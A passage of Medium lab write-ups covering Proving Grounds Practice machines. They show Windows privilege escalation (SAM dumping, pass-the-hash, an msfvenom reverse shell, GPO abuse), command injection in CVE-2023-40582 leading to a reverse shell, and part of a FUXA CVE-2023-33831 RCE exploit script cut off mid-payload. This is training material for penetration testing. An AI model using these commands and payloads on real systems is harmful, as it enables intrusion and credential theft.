src="https://cdn-images-1.medium.com/max/1024/1*TuFHVJrjOzT8Ac6ophdZAw.png" /><figcaption>Note Server Build.</figcaption></figure><p>There we have it, we can WinRM into the machine. It reads ‘Pwn3d’ which is usually indicates Administrator access, but sometimes CME gets it wrong. I suppose I should have check RDP with crackmapexec as well…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8q72VcLZfb9HgZBVIbVzBw.png" /></figure><p>Time to look internally.</p><pre>evil-winrm -i 192.168.237.172 -u anirudh -p &quot;SecureHM&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ph6jMSkr5HFQHQ6bDyNww.png" /></figure><p>Then I want to know my privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*-Y1TYuRYSkesfYcI3vOUnw.png" /></figure><p>While this may not be the administrator account, we do seem to to have a generous amount of power. SeBackupPrivilege, SeRestorePrivilege, and SeMachineAccountPrivilege are all very juicy. How can we escalate?</p><p>The SeBackupPrivilege jumps out at me first as this allows us to copy the SAM and SYSTEM files which in turn will give us hashes for all the local users. Let’s try that first!</p><p>Start by copying the SAM and SYSTEM files to a location you control.</p><pre>reg save hklm\sam C:\users\anirudh\sam.hive<br><br>reg save hklm\system C:\users\anirudh\system.hive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdqkbYlbB8Ce_lOLsYQSDA.png" /></figure><p>Use Evil-winRM’s built-in download functionality. They will appear in the working directory used to spawn Evil-winRM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*yP5U83DQGiUdK_63j4CqNA.png" /></figure><p>Open them with impacket-secretsdump</p><pre>impacket-secretsdump -system system.hive -sam sam.hive LOCAL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U6OVRDX_2n0BgqHeYp6iVw.png" /></figure><p>There we have them, note that these are the Local <em>not</em> Domain users, however if we can get on as Administrator, it does not matter. We will have access to everything we need.</p><p>Let’s try to pass the hash to Evil-winRM and get on the machine as administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MiGnGyBX8Nat1eougJjr6Q.png" /><figcaption>Nope</figcaption></figure><p>It stalls and does not allow access. We could also try RDP.</p><pre>xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:administrator /pth:608339ddc8f434ac21945e026887dc36 /v:192.168.192.172</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_CyVWFn5xlvmBUucfsi2ig.png" /></figure><p>The local administrator account may be disabled, we did not check. Back to our shell for a quick peek.</p><pre>net localgroup &#39;Remote Desktop Users&#39;<br><br>net localgroup &#39;Remote Management Users&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RaPe25kYCH2auJ_yayqCsQ.png" /></figure><p>It appears that only our current user can access the machine remotely.</p><p>Okay, back to the enumeration. Let’s see what winpeas can dig up for us. Use the builtin upload functionality of Evil-WinRM. It must be in your working directory for this command to work (or you can set the upload path to wherever you have it stored <em>starting from your current working</em> <em>directory</em>. My path in the command below is the current working directory).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3hI_NTrHIbqbvz8KS11b8g.png" /></figure><p>Run it. Be patient, I quit out the first time because it was taking so long. I will just include the sections I find interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0B5JaMMbNQr986IxesTQVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6rbsmGgzdv5TrDDX-W27A.png" /><figcaption>This is too bad. I wanted to see which hotfixes have been installed.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*keTDSYxQ_JzaO9S1cc8I5A.png" /><figcaption>I’ve never seen this before, might be worth investigating.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AsGKmk225g22pKiYWeI49Q.png" /><figcaption>This answers a question from before, the local administrator account IS enabled. They do not appear to have remote access privileges though, which is weird.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*KV0qxyWEWOe5svNOYN9SBQ.png" /><figcaption>We already know this but it is a bit peculiar.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHspf0H9n3f7JoCmGY-o9A.png" /><figcaption>Our Server Operators Group can write to the registry. That seems useful.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*-7S2Ss6fmWVInl4dBsGngA.png" /><figcaption>GenericWrite is a powerful ability but I do not know how to leverage that here, do you? Please leave a comment if so.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZLmlOLU2i8o1nR9ituWLg.png" /><figcaption>We find a powershell script called ‘KillExplorer.ps1’ in our home folder.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*dqtCUDWvcowk3aRw2jlaSA.png" /><figcaption>These are scheduled tasks. If one is run by system we can escalate that way.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XS78sUpm-M8WsvwkoNrlSQ.png" /></figure><p>We cannot access the scheduled tasks but we still might be able to manipulate one. Let’s look at them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HT3H8Lt2EnBbVvAjL99jA.png" /></figure><p>We see Killexplorer again. This powershell script is located in our home folder. Let’s examine it. We want a task that is run by SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6Afm1P8tpjIdAqJl9jROg.png" /></figure><p>This is run by our user. Let’s also look as what it does since we are here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-XFyb6Zuyz55mXDDLZmOg.png" /><figcaption>I have also included the end of the Scheduled Task where is reads &lt;command&gt; and &lt;arguments&gt;.</figcaption></figure><p>This is the script that allowed us to get on the machine. If it has an actual utilitarian purpose, I imagine it is a window cleanup, like a PHP session cleaner on Linux.</p><p>Searching the other scheduled tasks does not yield a modifiable SYSTEM task, this is not the route to escalation.</p><p>Back to the drawing board. Let’s try to exploit the SeRestorePrivilege. This box is rated hard, we are starting to see why.</p><p>Searching for away to escalate via this privilege leads to a github page:</p><p><a href="https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe">redteam/SeRestoreAbuse.exe at master · dxnboy/redteam</a></p><p>Then we want to craft a malicious reverse shell using msfvenom.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;YOUR tun0 IP&gt; LPORT=80 -f exe -o reverse.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Nt_zND2vqqXFQWzfd8kdw.png" /></figure><p>Use the upload function on the two files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9PxnrAguB5tqt5D40ETHg.png" /></figure><p>Set up your listener. Be sure to use rlwrap to preserve your arrow key functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*euuG4BXyGgCZZDXfii_hhQ.png" /></figure><p>Then execute SeRestoreAbuse.exe. It is always advised to use absolute paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Q2MiR2UHI5Tt_bA-s7g7A.png" /></figure><p>Check your listener!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*gn9reZ9TFd_GTu9TVWHqxA.png" /></figure><p>We did it!</p><p>There is a lot we did not cover. Most relevant is that S1REN does an excellent walkthrough of <a href="https://www.youtube.com/watch?v=JocbrhLXuss">this machine on YouTube.</a> She uses a different method of escalation which I will cover now.</p><p>Start by uploading Powerview.ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Vm05jaw2hzTIplzr6V6Yw.png" /><figcaption>This time from the actual location on my VM instead of copying it to my current working directory first.</figcaption></figure><p>Run it. Then we want to get the Default Domain Policy.</p><pre>.\powerview.ps1<br><br>Get-GPO -Name &quot;Default Domain Policy&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*nPf27OhAW7U1iiIH3--h4g.png" /><figcaption>We want the ID</figcaption></figure><p>What are our permissions?</p><pre>Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jR6MihD0VeJTXWZhfafR8A.png" /></figure><p>We can do anything!</p><p>We are going to abuse this GPO by adding ourselves as a local administrator and the forcing a policy update.</p><p>First we need to get the executable that makes this simple.</p><p><a href="https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master">SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse</a></p><p>We want SharpGPOAbuse.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*oSMKvNG36CQumVTMThGgdg.png" /></figure><p>Put this on the machine. Let’s use curl for the fun of it. Set up a file server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*ts-XxTicLr5Gbrp05w6TGg.png" /></figure><p>Curl it.</p><pre>curl http://192.168.45.176:8000/SharpGPOAbuse.exe -o SharpGPOAbuse.exe</pre><p>Then execute it with the following arguments.</p><pre>.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName &quot;Default Domain Policy&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJO9bm6qrkgL7AlpR9D5cQ.png" /></figure><p>Now we force a policy update.</p><pre>gpupdate /force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*SnbK5POCiL9nHNgSILe02g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8WS5xi3TWB_zlUbpAfjrg.png" /></figure><p>We have been successfully added and can go into the administrators folder for the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*oeJXXq5dHV2C-ePq4Gx5dg.png" /></figure><p>So there we go, thanks S1REN!</p><p>Lastly we could have explored the possibility of using the SeMachineAccountPrivilege it leads to a SAMAccountName Spoofing vulnerability that I have used on <a href="https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9">‘PG Practice — Access’</a>.</p><p>Thanks for reading! Keep practicing regularly and we will pass this exam!</p><p>Epilogue:</p><p>There were several ports I did not enumerate. I cannot fathom why there would be four ports running LDAP: 389, 636, 3268, and 3269. None of them yield any results without credentials. I do not know of any way to enumerate ports 464, 493, or 9389.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=158516460860" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — CVE-2023-40582]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-cve-2023-40582-51ef8e095e8e?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/51ef8e095e8e</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Wed, 20 Mar 2024 16:58:46 GMT</pubDate>
            <atom:updated>2024-03-20T16:58:46.660Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — CVE-2023-40582</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bse6zaFp7jBL_Bggp7-QZQ.jpeg" /><figcaption>My prompt was “A man yelling the words “Do it!” which are captured in a cartoon bubble. The word bubble that is being pushed into an oversized medical syringe in preparation for an injection into a computer.”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OjXapZqfDiXOu0CqJARJ6Q.png" /></figure><p>This is an intermediate box on Offsec’s PG Practice and the community has rated it as easy. It is my guess that this is another machine focused on illuminating the dangers of this recently found vulnerability. As cyber security professionals and aspiring penetration testers, it is our job to be aware of the ever-evolving vulnerability landscape.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 14:04 EDT<br>Nmap scan report for 192.168.189.36<br>Host is up (0.090s latency).<br>Not shown: 64203 closed tcp ports (reset), 1330 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br>3000/tcp open  http    Node.js Express framework<br>|_http-title: Command Guess Game<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h4bUYPxCZlJzvNWk.png" /></figure><p>This will pay off one day I swear.</p><p>What do we see with our initial TCP Nmap scan?</p><p>Only two ports open, a Node.js web server on port 3000 and SSH on port 22. We know SSH is not a port we can realistically attack and given the name of the machine CVE-2023–40582, we can assume that the other port will have this vulnerability.</p><p>Do yo have deja vu? That’s because this challenge has a lot of beginning similarities with the last two machines, CVE-2023–33831 (CTF-200–04) and Markers (CTF-200–03). Apparently 2023 was a tough year for Node.js.</p><p>As we do, let’s start Gobuster against the web server first.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:3000 -t 42 -b 400,401,403,404 --no-error</pre><p>I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. If you go too fast, directories and files can be missed. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404). Lastly, I loathe seeing the ‘Time Exceeded’ errors so we eliminate them with — no-errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QuumLzLPB0NDX14M-e37wg.png" /></figure><p>We did not find anything. We could search for file types or use another word list but let’s browse to the web application. If we fail there, we can circle back to Gobuster again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hs5xbR0UJvzvqtznirWpug.png" /></figure><p>This appears to be a set-up for command injection.</p><p>Nest practice is to look at the source code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q3E-2Bz9wRmSGAxHlHS9sg.png" /><figcaption>We find the script that updates the score and attempts, not useful.</figcaption></figure><p>Before we really begin, it’s a good idea to <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-40582">investigate the CVE</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xp9s1k6bkQjKTb9v5S5xvQ.png" /><figcaption>9.8 Critical! Yikes!</figcaption></figure><p>The most important part being:</p><blockquote>did not properly escape user input and are vulnerable to Command Injection via an attacker controlled parameter. As a result, attackers may run malicious shell commands in the context of the running process.</blockquote><p>For command injection payloads I like to reference<a href="https://github.com/payloadbox/command-injection-payload-list"> this repository.</a></p><p>Let’s see what wee can discover:</p><p>First something simple to understand how this works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*by89UOrmBndjjLx1iIC96g.png" /><figcaption>If this command had not worked, we could try a windows command.</figcaption></figure><p>Then we can add a second command after a semi-colon. This is the straight forward way to add a second command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5cDOhH5S7kqu3GVtrCfFw.png" /></figure><p>While this works without error, there is no mechanism to ferry the standard output back to the web application to display our results. We will have to attempt a different command that can be received. This kind of reminds me of the which command used to discover available binaries.</p><p>Is netcat available? Set up a simple listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*QmllpLpl-iMGkow9xxoMgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wjNSG9wb_Que2ivfXBPcFg.png" /></figure><p>Yes but it did not connect back. It is my assumption that this utility only checks for the command availability (much like which), so if we <em>then add</em> another command it will run (command injection).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTb6ZW8NTTwQbSbTdRgTbA.png" /><figcaption>Note that the display page will not update Points or Attempts upon a successful connection. This is because the page is hung. It will update if you close the connection.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*GD4mzi053afhmoWe0Sc6Rw.png" /></figure><p>This worked, now let’s evolve this command by sending a proper shell.</p><p>First I am going to set up a robust listener, <a href="https://github.com/brightio/penelope">Penelope.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*-rdoPiNLc8-W3zMsCLAsaQ.png" /></figure><p>I turn to the trusty revshells.com ‘nc mkfifo’ reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQm-YpkxeAYDJgcR7wQSXA.png" /></figure><p>Then put it all together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*24Apqs0KTLwfuwjuYx_gig.png" /></figure><p>The page hangs (which is good), check the listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nblCyqE1ywwrG_gXjFYZqA.png" /></figure><p>There we have it! The fact that this application was being run by root is a misconfiguration. Ideally it would be run my a low-privileged user set up just for this purpose.</p><p>Thanks for reading! Command injection can get a lot more complicated but it is one of my favorite vulnerabilities to discover and exploit. I am surprised that I did not need to URL encode anything.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51ef8e095e8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — 
CVE-2023–33831 (CTF-200–04)]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-cve-2023-33831-ctf-200-04-8e0fe2381439?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e0fe2381439</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Mon, 11 Mar 2024 18:10:17 GMT</pubDate>
            <atom:updated>2024-03-11T18:10:17.370Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — <br>CVE-2023–33831 (CTF-200–04)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*UqpwxmlmNGFml_acNlBZag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D7OFxnXUY20XiHPFOm8zEw.png" /></figure><p>This is an intermediate box on Offsec’s PG Practice and as of the time of this writing, it has not been rated by the community. I rate this box was easy because everything was already given to us. It’s more of a scathing indictment of the software creator’s inability to fix the vulnerability with a new version than a test of our ability to gain access.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-11 12:21 EDT<br>Nmap scan report for 192.168.207.35<br>Host is up (0.090s latency).<br>Not shown: 65461 closed tcp ports (reset), 72 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br>1881/tcp open  http    Node.js Express framework<br>|_http-cors: GET POST PUT DELETE<br>|_http-title: FUXA<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UluB3qH3Bms-Ekb21qlopw.png" /><figcaption>This will pay off one day I swear.</figcaption></figure><p>What do we see with our initial TCP Nmap scan?</p><p>Only two ports open, a Node.js web server on port 1881 and SSH on port 22. We know SSH is not a port we can realistically attack and given the name of the machine CVE-2023–33831, we can assume that the other port will have this vulnerability.</p><p>Let’s start a Gobuster scan on port 1881 and then look into the details of this vulnerability. We have to add ‘ — exclude-length 42’ or the scan will immediately stop.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:1881 -t 42 -b 400,401,403,404 --no-error --exclude-length 42</pre><p>I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. If you go too fast, directories and files can be missed. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404). Lastly, I loathe seeing the ‘Time Exceeded’ errors so we eliminate them with — no-errors.</p><p>Now for CVE-2023–33831.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9azJJ1Hls4mBH1Q4B4ALVw.png" /></figure><p>The National Vulnerability Database is always a <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-33831">great place to start.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wMKF3c_BTGBheoDmDGxmow.png" /></figure><p>The description reads, “A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.”</p><p>I feel like Offsec has taken the research component out of this challenge. I like that it is a relatively new CVE. Tome to review the material and get it working.</p><p>They have links to both an <a href="https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831">exploit</a> and a <a href="https://www.youtube.com/watch?v=Xxa6yRB2Fpw">YouTube video</a>.</p><p>First I want to find the endpoint and verify that this is FUXA version 1.1.13 (or close to it).</p><p>Back to Gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*SoZdQ3WpLi4Ql3cokqauIw.png" /></figure><p>Ideally we should explore all of those, but let’s locate the endpoint given to us by the NVD, it may be of of one of the directories above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*kn_Be6XGJFKOlP3BhOKjIQ.png" /><figcaption>Be sure to have Burp Suite engaged with intercept off (for now).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*fne2hvdXatmzgVEOQbcFfQ.png" /></figure><p>It’s a bit of a lackluster greeting. That’s a lot of white space!</p><p>I don’t even know what this application is supposed to do. I have to <a href="https://github.com/frangoteam/FUXA">fix that</a> right away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VcRnXaLuIbNy-jXsEa-Oyw.png" /></figure><p>This is software to aid visualizing process flow in SCADA Operational Technology systems. There is a current spotlight on protecting these operations as they control items of National importance, like the Power Grid or Industrial manufacturing. If you recall, t<a href="https://en.wikipedia.org/wiki/Colonial_Pipeline_ransomware_attack">he Colonial oil pipe line </a>was attacked a few years ago, causing some havoc.</p><blockquote>“What is SCADA (supervisory control and data acquisition) and how does it work?”</blockquote><blockquote>SCADA (supervisory control and data acquisition) is a category of software applications for controlling industrial processes, which is the gathering of data in Real Time from remote locations in order to control equipment and conditions.</blockquote><p>As is best practice, we walk the application, clicking on every button to explore the functionality. The only location that produces any output is the Editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*lH5YHl1CEvdYng_Jt0dWjQ.png" /></figure><p>Click the gear icon to get more useful interactions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*TVn6BjGlYQxBdi8OvOxMaQ.png" /></figure><p>I have the feeling we want to go to scripts. Click the the + icon in the upper left brings up a self-contained function in which we can work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*rkmbYiVRkWKWCJ1l4k-61Q.png" /></figure><p>Is this the /api/runscripts endpoint? It sure looks juicy regardless. We still have not determined the version number. Let’s keep looking around before we try to exploit anything. We still have our explorer hat on.</p><p>The circled question mark in the upper right corner gives us the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MGDwxy2FJqw_aN8qvfIfow.png" /></figure><p>This is not the exact version, but we must assume it is still vulnerable.</p><p>The /users endpoint is also useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqIOIDSVOMM6GmvsS1xchA.png" /><figcaption>The password appears to be all stars…kidding. Can we change it?</figcaption></figure><p>We should have had to login before we reached the editor; all of this should be behind an authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOEAsQrijRhV5-wQFeozIg.png" /></figure><p>We can add a new user and give them all the permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*AmuisHhvTi9BXOa2deHy3g.png" /></figure><p>Now that we have looked around a bit, it’s time to review the links from the NVD, starting with the <a href="https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831">Exploit</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bEWkz_cDGP-NoQ_JPlzKWg.png" /></figure><p>The page explians:</p><blockquote>The vulnerability affects FUXA’s scripting component, due to lack of control or sanitization on inputs that can be controlled by users, thus allowing the use of dangerous methods that can be scaled for remote code execution. The affected route is /api/runscript, where it is possible to execute commands without having to be authenticated through the code parameter via the POST method using the child_process module via the exec function.</blockquote><p>We took advantage of the child_process module in the last machine, Markers (CTF-200–03).</p><p>We should examine <a href="https://raw.githubusercontent.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831/main/CVE-2023-33831.py">the python script</a>. I cannot post it here because Medium.com senses a malicious intent and will not allow it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*_5Cb0YlltoX0OyQeciicUA.png" /></figure><p>I wget it and open it up in Sublime Text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p2c8CwQObHQMH5vWhs4AyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQFoGUrbZhoePEGziz988A.png" /><figcaption>I highlighted the forbidden section. Insert this highlighted code into FORBIDDEN SECTION below.</figcaption></figure><pre># Exploit Title: FUXA V.1.1.13-1186 - Unauthenticated Remote Code Execution (RCE)<br># Date: 18/04/2023<br># Exploit Author: Rodolfo Mariano<br># Vendor Homepage: https://github.com/frangoteam/FUXA<br># Version: FUXA V.1.1.13-1186<br># CVE: CVE-2022-26134<br># https://github.com/rodolfomarianocy/<br><br>from argparse import RawTextHelpFormatter<br>import argparse, requests<br><br>def main(rhost, rport, lhost, lport):<br>    url = &quot;http://&quot;+rhost+&quot;:&quot;+rport+&quot;/api/runscript&quot;<br>    payload = {<br>        &quot;headers&quot;:<br>            {<br>                &quot;normalizedNames&quot;:{},<br>                &quot;lazyUpdate&quot;: &quot;null&quot;<br>            },<br>            &quot;params&quot;:{<br>                &quot;script&quot;:{<br>                    &quot;parameters&quot;:[<br>                    {<br>                    &quot;name&quot;:&quot;ok&quot;,<br>                    &quot;type&quot;:&quot;tagid&quot;,<br>                    &quot;value&quot;:&quot;&quot;<br>                    }<br>                    ],<br>                    &quot;mode&quot;:&quot;&quot;,<br>                    &quot;id&quot;:&quot;&quot;,<br>                    &quot;test&quot;:&quot;true&quot;,<br>                    &quot;name&quot;:&quot;ok&quot;,<br>                    &quot;outputId&quot;:&quot;&quot;,<br>                    &quot;code&quot;:&quot;FORBIDDEN SECTION(&#39;/bin/bash -c \&quot;/bin/sh -i &gt;&amp; 